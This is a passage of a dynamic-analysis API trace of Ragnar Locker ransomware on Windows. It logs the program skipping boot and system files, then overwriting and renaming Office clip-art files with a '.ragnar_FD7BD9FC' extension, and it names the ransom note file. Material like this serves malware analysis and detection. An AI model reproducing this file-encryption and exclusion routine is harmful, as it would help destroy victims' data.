office\\clipart\\pub60cor\\j0187859.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.591] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2732) returned 1 [0085.591] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xaa3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.591] GetProcessHeap () returned 0x580000 [0085.591] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.591] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.592] VirtualAlloc (lpAddress=0x0, dwSize=0xaac, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.593] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.593] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.593] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xaac, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xaac, lpOverlapped=0x0) returned 1 [0085.593] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.593] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xaac, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.593] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xaac, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xaac, lpOverlapped=0x0) returned 1 [0085.593] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xaac, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.593] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.593] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xaac, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.593] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.593] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.593] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.593] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.594] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.594] GetProcessHeap () returned 0x580000 [0085.594] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.594] CloseHandle (hObject=0xf4) returned 1 [0085.594] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF" [0085.594] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF.ragnar_FD7BD9FC" [0085.594] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187859.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187859.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.594] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2394, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187861.WMF", cAlternateFileName="")) returned 1 [0085.594] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.594] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0187861.WMF" | out: lpString1="J0187861.WMF") returned="J0187861.WMF" [0085.594] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF") returned=".WMF" [0085.594] lstrcmpiW (lpString1="J0187861.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.594] lstrcmpiW (lpString1="J0187861.WMF", lpString2="autorun.inf") returned 1 [0085.595] lstrcmpiW (lpString1="J0187861.WMF", lpString2="boot.ini") returned 1 [0085.595] lstrcmpiW (lpString1="J0187861.WMF", lpString2="bootfont.bin") returned 1 [0085.595] lstrcmpiW (lpString1="J0187861.WMF", lpString2="bootsect.bak") returned 1 [0085.595] lstrcmpiW (lpString1="J0187861.WMF", lpString2="bootmgr") returned 1 [0085.595] lstrcmpiW (lpString1="J0187861.WMF", lpString2="bootmgr.efi") returned 1 [0085.595] lstrcmpiW (lpString1="J0187861.WMF", lpString2="bootmgfw.efi") returned 1 [0085.595] lstrcmpiW (lpString1="J0187861.WMF", lpString2="desktop.ini") returned 1 [0085.595] lstrcmpiW (lpString1="J0187861.WMF", lpString2="iconcache.db") returned 1 [0085.595] lstrcmpiW (lpString1="J0187861.WMF", lpString2="ntldr") returned -1 [0085.595] lstrcmpiW (lpString1="J0187861.WMF", lpString2="ntuser.dat") returned -1 [0085.595] lstrcmpiW (lpString1="J0187861.WMF", lpString2="ntuser.dat.log") returned -1 [0085.595] lstrcmpiW (lpString1="J0187861.WMF", lpString2="ntuser.ini") returned -1 [0085.595] lstrcmpiW (lpString1="J0187861.WMF", lpString2="thumbs.db") returned -1 [0085.595] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.595] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.595] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.595] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.595] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.595] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.595] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.595] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187861.wmf")) returned 0x20 [0085.596] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187861.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.596] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=9108) returned 1 [0085.596] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x238b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.596] GetProcessHeap () returned 0x580000 [0085.596] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.596] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.598] VirtualAlloc (lpAddress=0x0, dwSize=0x2394, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.598] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.598] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.598] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2394, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2394, lpOverlapped=0x0) returned 1 [0085.599] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.599] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2394, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.599] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2394, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2394, lpOverlapped=0x0) returned 1 [0085.599] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2394, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.599] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.600] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2394, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.600] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.600] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.600] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.600] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.600] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.600] GetProcessHeap () returned 0x580000 [0085.600] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.600] CloseHandle (hObject=0xf4) returned 1 [0085.600] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF" [0085.600] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF.ragnar_FD7BD9FC" [0085.600] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187861.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187861.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.601] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2a44, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187863.WMF", cAlternateFileName="")) returned 1 [0085.601] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.601] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0187863.WMF" | out: lpString1="J0187863.WMF") returned="J0187863.WMF" [0085.601] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF") returned=".WMF" [0085.601] lstrcmpiW (lpString1="J0187863.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.601] lstrcmpiW (lpString1="J0187863.WMF", lpString2="autorun.inf") returned 1 [0085.601] lstrcmpiW (lpString1="J0187863.WMF", lpString2="boot.ini") returned 1 [0085.601] lstrcmpiW (lpString1="J0187863.WMF", lpString2="bootfont.bin") returned 1 [0085.601] lstrcmpiW (lpString1="J0187863.WMF", lpString2="bootsect.bak") returned 1 [0085.601] lstrcmpiW (lpString1="J0187863.WMF", lpString2="bootmgr") returned 1 [0085.601] lstrcmpiW (lpString1="J0187863.WMF", lpString2="bootmgr.efi") returned 1 [0085.601] lstrcmpiW (lpString1="J0187863.WMF", lpString2="bootmgfw.efi") returned 1 [0085.601] lstrcmpiW (lpString1="J0187863.WMF", lpString2="desktop.ini") returned 1 [0085.601] lstrcmpiW (lpString1="J0187863.WMF", lpString2="iconcache.db") returned 1 [0085.601] lstrcmpiW (lpString1="J0187863.WMF", lpString2="ntldr") returned -1 [0085.601] lstrcmpiW (lpString1="J0187863.WMF", lpString2="ntuser.dat") returned -1 [0085.601] lstrcmpiW (lpString1="J0187863.WMF", lpString2="ntuser.dat.log") returned -1 [0085.601] lstrcmpiW (lpString1="J0187863.WMF", lpString2="ntuser.ini") returned -1 [0085.601] lstrcmpiW (lpString1="J0187863.WMF", lpString2="thumbs.db") returned -1 [0085.601] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.601] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.601] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.601] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.601] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.602] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.602] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.602] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187863.wmf")) returned 0x20 [0085.602] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187863.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.602] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=10820) returned 1 [0085.602] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2a3b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.602] GetProcessHeap () returned 0x580000 [0085.602] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.602] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.603] VirtualAlloc (lpAddress=0x0, dwSize=0x2a44, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.604] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.604] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.604] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2a44, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2a44, lpOverlapped=0x0) returned 1 [0085.605] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.605] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2a44, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.605] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2a44, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2a44, lpOverlapped=0x0) returned 1 [0085.605] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2a44, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.605] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.605] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2a44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.605] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.605] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.605] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.605] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.606] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.606] GetProcessHeap () returned 0x580000 [0085.606] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.606] CloseHandle (hObject=0xf4) returned 1 [0085.606] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF" [0085.606] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF.ragnar_FD7BD9FC" [0085.606] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187863.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187863.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.606] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1258, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187881.WMF", cAlternateFileName="")) returned 1 [0085.606] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.606] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0187881.WMF" | out: lpString1="J0187881.WMF") returned="J0187881.WMF" [0085.606] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF") returned=".WMF" [0085.606] lstrcmpiW (lpString1="J0187881.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.607] lstrcmpiW (lpString1="J0187881.WMF", lpString2="autorun.inf") returned 1 [0085.607] lstrcmpiW (lpString1="J0187881.WMF", lpString2="boot.ini") returned 1 [0085.607] lstrcmpiW (lpString1="J0187881.WMF", lpString2="bootfont.bin") returned 1 [0085.607] lstrcmpiW (lpString1="J0187881.WMF", lpString2="bootsect.bak") returned 1 [0085.607] lstrcmpiW (lpString1="J0187881.WMF", lpString2="bootmgr") returned 1 [0085.607] lstrcmpiW (lpString1="J0187881.WMF", lpString2="bootmgr.efi") returned 1 [0085.607] lstrcmpiW (lpString1="J0187881.WMF", lpString2="bootmgfw.efi") returned 1 [0085.607] lstrcmpiW (lpString1="J0187881.WMF", lpString2="desktop.ini") returned 1 [0085.607] lstrcmpiW (lpString1="J0187881.WMF", lpString2="iconcache.db") returned 1 [0085.607] lstrcmpiW (lpString1="J0187881.WMF", lpString2="ntldr") returned -1 [0085.607] lstrcmpiW (lpString1="J0187881.WMF", lpString2="ntuser.dat") returned -1 [0085.607] lstrcmpiW (lpString1="J0187881.WMF", lpString2="ntuser.dat.log") returned -1 [0085.607] lstrcmpiW (lpString1="J0187881.WMF", lpString2="ntuser.ini") returned -1 [0085.607] lstrcmpiW (lpString1="J0187881.WMF", lpString2="thumbs.db") returned -1 [0085.607] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.607] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.607] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.607] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.607] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.607] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.607] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.607] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187881.wmf")) returned 0x20 [0085.607] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187881.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.607] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4696) returned 1 [0085.608] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x124f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.608] GetProcessHeap () returned 0x580000 [0085.608] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.608] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.609] VirtualAlloc (lpAddress=0x0, dwSize=0x1258, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.609] SetFilePointerEx (in: hFile=0xf4, 